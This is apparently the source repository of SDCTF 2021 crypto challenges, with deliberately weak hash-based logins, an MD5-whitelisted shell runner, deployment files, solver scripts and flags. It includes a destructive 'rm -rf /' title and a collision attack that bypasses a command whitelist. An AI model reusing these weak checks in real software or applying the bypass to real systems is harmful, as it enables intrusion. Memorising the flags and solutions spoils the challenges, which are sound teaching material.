-------------------------------------------------------------------------------- /crypto/prime-hash-candidate/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: prime-hash-candidate 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/prime-hash-candidate-healthcheck:d3b3099247ebac1ac9f62f2e3389fafadb03537597ddf0912e65704e3877db84 14 | image: eu.gcr.io/sdctf-2021/prime-hash-candidate-challenge:f6914bb19e568acb9f25a7ca2186607325e78f300787e6eed8c804399e4c184d 15 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN apt-get update -y && apt-get install -y python3 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 18 | 19 | #change to chal name 20 | COPY server_admin.py /home/user/ 21 | RUN chmod +rx /home/user/server_admin.py 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | #change to your challenge name 34 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/server_admin.py" 35 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/challenge/server_admin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ERROR = "Wrong password, try again\n" 4 | SUCCESS = "Login successful!\nFlag: sdctf{st1ll_3553nt14lly_pl@1n_txt}\n" 5 | PASSWD = "59784015375233083673486266" 6 | 7 | def hash(data): 8 | out = 0 9 | for c in data: 10 | out *= 31 11 | out += ord(c) 12 | return str(out) 13 | 14 | data = input("Please enter password below\n") 15 | 16 | try: 17 | while True: 18 | if hash(data) == PASSWD: 19 | print(SUCCESS) 20 | break 21 | else: 22 | data = input(ERROR) 23 | except EOFError: 24 | pass 25 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | from pwnlib.tubes import remote 3 | 4 | # Get from solver-static.py 5 | STATIC_INPUT_PASSWORD = b'\x02\x14\x05\x17\x17\x1b\x13\x16\t\x04\x0c\x05\x17\x0c\r\x12\x08)' 6 | 7 | PROCESS = remote.remote('localhost', 1337) 8 | 9 | print(PROCESS.recvuntil(b'Please enter password below\n')) 10 | 11 | # print('Sending cracked password...') 12 | 13 | PROCESS.sendline(STATIC_INPUT_PASSWORD) 14 | 15 | # print('Password sent') 16 | 17 | line = PROCESS.recvline(keepends=False) 18 | print(line) 19 | 20 | if line == b'Login successful!': 21 | print(PROCESS.recvuntil(b'sdctf{')) 22 | print(PROCESS.recvuntil(b'}')) 23 | exit(0) 24 | else: 25 | print('No flag for me :(') 26 | exit(1) 27 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | PASSWD = "59784015375233083673486266" 4 | 5 | def hash(data): 6 | out = 0 7 | for c in data: 8 | out *= 31 9 | out += ord(c) 10 | return str(out) 11 | 12 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/server2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | 5 | HOST = '127.0.0.1' 6 | PORT = 65432 7 | ERROR = "Wrong password, try again\n" 8 | SUCCESS = "Login successful!\nFlag: sdctf_ok_test\n" 9 | PASSWD = "59784015375233083673486266" 10 | 11 | def hash(data): 12 | out = 0 13 | for c in data: 14 | out *= 31 15 | out += ord(c) 16 | return str(out) 17 | 18 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 19 | s.bind((HOST, PORT)) 20 | s.listen() 21 | while True: 22 | conn, addr = s.accept() 23 | with conn: 24 | print('Connected by', addr) 25 | conn.sendall("Please enter password below\n".encode('utf-8')) 26 | while True: 27 | data = conn.recv(1024).decode() 28 | if not data: 29 | break 30 | if hash(data) == PASSWD: 31 | conn.sendall(SUCCESS.encode('utf-8')) 32 | break 33 | else: 34 | conn.sendall(ERROR.encode('utf-8')) 35 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/solver-static.py: -------------------------------------------------------------------------------- 1 | from typing import List 2 | 3 | PASSWD = 59784015375233083673486266 4 | PRIME = 31 5 | 6 | # On Unix systems (Ex. Linux), newline terminates the input line so it cannot be included as part of the line 7 | NEWLINE_CODEPOINT = ord('\n') 8 | 9 | def crack_hash(hsh: int) -> bytes: 10 | byts_reversed: List[int] = [] 11 | while hsh > 0: 12 | byts_reversed.append(hsh % PRIME) 13 | hsh //= PRIME 14 | for i in range(len(byts_reversed)): 15 | codepoint = byts_reversed[i] 16 | if codepoint == NEWLINE_CODEPOINT: 17 | byts_reversed[i] += PRIME 18 | if i+1 < len(byts_reversed) and byts_reversed[i+1] > 0: 19 | byts_reversed[i+1] -= 1 20 | else: 21 | # This rarely happens on random hashes 22 | raise RuntimeError("Unable to crack!") 23 | return bytes(reversed(byts_reversed)) 24 | 25 | print(crack_hash(PASSWD)) 26 | -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/solver.py: -------------------------------------------------------------------------------- 1 | from pwnlib.tubes import process 2 | 3 | from typing import List 4 | 5 | PASSWD = 59784015375233083673486266 6 | PRIME = 31 7 | 8 | # On Unix systems (Ex. Linux), newline terminates the input line so it cannot be included as part of the line 9 | NEWLINE_CODEPOINT = ord('\n') 10 | 11 | def crack_hash(hsh: int) -> bytes: 12 | byts_reversed: List[int] = [] 13 | while hsh > 0: 14 | byts_reversed.append(hsh % PRIME) 15 | hsh //= PRIME 16 | for i in range(len(byts_reversed)): 17 | codepoint = byts_reversed[i] 18 | if codepoint == NEWLINE_CODEPOINT: 19 | byts_reversed[i] += PRIME 20 | if i+1 < len(byts_reversed) and byts_reversed[i+1] > 0: 21 | byts_reversed[i+1] -= 1 22 | else: 23 | # This rarely happens on random hashes 24 | raise RuntimeError("Unable to crack!") 25 | return bytes(reversed(byts_reversed)) 26 | 27 | # Run locally, for remote connection replace with 28 | # from pwnlib.tubes import remote 29 | # PROCESS = remote.remote('', ) 30 | PROCESS = process.process(['python3', 'server_admin.py']) 31 | 32 | print('Sending cracked password...') 33 | # print(crack_hash(PASSWD)) 34 | PROCESS.sendline(crack_hash(PASSWD)) 35 | 36 | print('Password sent') 37 | PROCESS.interactive() 38 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/README.md: -------------------------------------------------------------------------------- 1 | # A Primed Hash Candidate 2 | ## Cryptography - Medium 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | RJ | | **StealthyDev** from **Team 18XX** | 21 | 292 | 6 | 7 | ### prompt 8 | After the rather embarrassing first attempt at securing our login, our student intern has drastically improved our security by adding more parameters. Good luck getting in now! 9 | 10 | Connect via: `nc phc2.sdc.tf 1337` 11 | 12 | **attachments**: `server.py` 13 | ### original specification 14 | Similar to the first one, provide the source to the hash function but have it use several secret values that requires a large number (>1000) data samples to calculate, so automation is required to derive the secret value and determine the hash. 15 | 16 | **flag**: `sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}` 17 | ### writeups 18 | - https://github.com/MockingHawk/ctf-write-ups/blob/main/sdctf-2021/a-primed-hash-candidate.md 19 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#A-Primed-Hash-Candidate 20 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#a-primed-hash-candidate 21 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: prime-hash-candidate2 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/prime-hash-candidate2-healthcheck:4924dd4de926fed45c6f90ad80774a113d89632ddcfe8f1df26740f0cc7a444c 14 | image: eu.gcr.io/sdctf-2021/prime-hash-candidate2-challenge:63a052694515b08b82c128cb0329cb0d35bfb7dbfe8ea40602c3c11d6df80670 15 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN apt-get update -y && apt-get install -y python3 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 18 | 19 | #change to chal name 20 | COPY server_admin.py /home/user/ 21 | RUN chmod +rx /home/user/server_admin.py 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | #change to your challenge name 34 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/server_admin.py" 35 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/challenge/server_admin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ERROR = "Wrong password with hash " 4 | SUCCESS = "Login successful!\nFlag: sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}\n" 5 | PASSWD = 91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844 6 | secret1 = "el3PH4nT$" 7 | secret2 = "ks(3n*cl3p%3925(*4*2" 8 | secret3 = 233 9 | 10 | def hash(data): 11 | out = 0 12 | data = [ord(x) ^ ord(y) for x,y in zip(data,secret1*len(data))] 13 | data.extend([ord(c) for c in secret2]) 14 | for c in data: 15 | out *= secret3 16 | out += c 17 | return out 18 | 19 | data = input("Please enter password below\n") 20 | 21 | try: 22 | while True: 23 | if hash(data) == PASSWD: 24 | print(SUCCESS) 25 | break 26 | else: 27 | print(ERROR + str(hash(data))) 28 | data = input("Please enter password below\n") 29 | except EOFError: 30 | pass 31 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /crypto/primed-hash-candidate/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ERROR = "Wrong password with hash " 4 | SUCCESS = "Login successful!\nFlag: REDACTED\n" 5 | PASSWD = 91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844 6 | secret1 = "REDACTED" 7 | secret2 = "REDACTED" 8 | secret3 = int("xxx") 9 | 10 | def hash(data): 11 | out = 0 12 | data = [ord(x) ^ ord(y) for x,y in zip(data,secret1*len(data))] 13 | data.extend([ord(c) for c in secret2]) 14 | for c in data: 15 | out *= secret3 16 | out += c 17 | return out 18 | 19 | data = input("Please enter password below\n") 20 | 21 | try: 22 | while True: 23 | if hash(data) == PASSWD: 24 | print(SUCCESS) 25 | break 26 | else: 27 | print(ERROR + str(hash(data))) 28 | data = input("Please enter password below\n") 29 | except EOFError: 30 | pass 31 | -------------------------------------------------------------------------------- /crypto/safe-unix-playground/README.md: -------------------------------------------------------------------------------- 1 | # $ safe-unix-playground # rm -rf / 2 | ## Cryptography - Medium 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | RJ | none | **vishiswoz** from **Team ARESx** | 15 | 443 | 6 | 7 | ### prompt 8 | Welcome to my awesome Unix command playground offered over a TCP port! With the free plan, you can run only example commands we provide. To run any other command, you will need to contact us for a premium partnership plan (Update 04/01/2020: premium plan cancelled due to COVID-19). 9 | 10 | Connect via: 11 | `nc unix.sdc.tf 1337` 12 | 13 | ### original specification 14 | Make a program that runs shell commands given by the user, but supposedly only a whitelist of "Trusted" commands can execute. For example, this can be 15 | ls 16 | cat fake-flag.txt 17 | echo hello world 18 | However, the whitelist is implementing by checking whether the hash of the command is equal to a hash whitelist, but the hash function is prone to collisions with attacker-chosen command (Ex. MD5) 19 | 20 | The participant need to be able to find a command like cat real-flag.txt #any comment is fine here that has the same hash as one of the "trusted" commands. 21 | 22 | **flag**: `sdctf{MD5_iS_DeAd!L0ng_l1v3_MD5!}` 23 | ### writeups 24 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#-safe-unix-playground--rm--rf- 25 | - https://github.com/3vilbuff3r/ctf-writeups/blob/master/sdctf-2021/crypto/safe-unix-playground-rm-rf.md 26 | - https://github.com/wnfldchen/ctf/blob/main/sdctf21/safe-unix-playground.md -------------------------------------------------------------------------------- /crypto/safe-unix-playground/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: safe-unix-playground 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: false 13 | image: eu.gcr.io/sdctf-2021/safe-unix-playground-challenge:a6475c27a2fec976f65b589e282cbbda750d4be5ada8c96922a5be726aad1d59 14 | -------------------------------------------------------------------------------- /crypto/safe-unix-playground/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN apt-get update -y && apt-get install -y python3 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 18 | 19 | COPY flag-1.txt /home/user/chal/ 20 | COPY flag-2.txt /home/user/chal/ 21 | #change to chal name 22 | COPY server_admin.py /home/user/ 23 | RUN chmod +rx /home/user/server_admin.py 24 | 25 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 26 | 27 | COPY --from=chroot / /chroot 28 | 29 | COPY nsjail.cfg /home/user/ 30 | 31 | CMD kctf_setup && \ 32 | kctf_drop_privs \ 33 | socat \ 34 | TCP-LISTEN:1337,reuseaddr,fork \ 35 | #change to your challenge name 36 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/server_admin.py" 37 | -------------------------------------------------------------------------------- /crypto/safe-unix-playground/challenge/flag-1.txt: -------------------------------------------------------------------------------- 1 | ftcds{I_dare_y0u_subm1t_THIS!} 2 | -------------------------------------------------------------------------------- /crypto/safe-unix-playground/challenge/flag-2.txt: -------------------------------------------------------------------------------- 1 | sdctf{MD5_iS_DeAd!L0ng_l1v3_MD5!} 2 | -------------------------------------------------------------------------------- /crypto/safe-unix-playground/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "nsjail configuration for Safe Unix Playground." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | # Where the flags are located 30 | cwd: "/home/user/chal/" 31 | 32 | mount: [ 33 | { 34 | src: "/chroot" 35 | dst: "/" 36 | is_bind: true 37 | }, 38 | { 39 | src: "/etc/resolv.conf" 40 | dst: "/etc/resolv.conf" 41 | is_bind: true 42 | } 43 | ] 44 | -------------------------------------------------------------------------------- /crypto/safe-unix-playground/collision1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/safe-unix-playground/collision1.bin -------------------------------------------------------------------------------- /crypto/safe-unix-playground/collision2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/safe-unix-playground/collision2.bin -------------------------------------------------------------------------------- /crypto/safe-unix-playground/solve.py: -------------------------------------------------------------------------------- 1 | # from pwnlib.tubes import remote 2 | # p = remote.remote('', ) # If connecting to remote 3 | from pwnlib.tubes import process 4 | p = process.process(['python3', 'server_admin.py'], cwd='challenge/') 5 | print(p.recv().decode()) 6 | f = open("collision1.bin","rb") 7 | f2 = open("collision2.bin","rb") 8 | p.sendline(b'ls') 9 | # Test for robustness 10 | # import time 11 | # p.send(b'l') 12 | # print('First part sent') 13 | # time.sleep(1) 14 | # p.sendline(b's') 15 | # print('Second part sent') 16 | # Test for robustness end 17 | print(p.recv().decode()) # TODO: make this robust on networks by reading until a character 18 | p.sendline(f.read()) 19 | print(p.recv().decode()) 20 | p.sendline(f2.read()) 21 | print(p.recv().decode()) 22 | # p.close() 23 | 24 | p.interactive() 25 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: alternative-arithmetic 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | 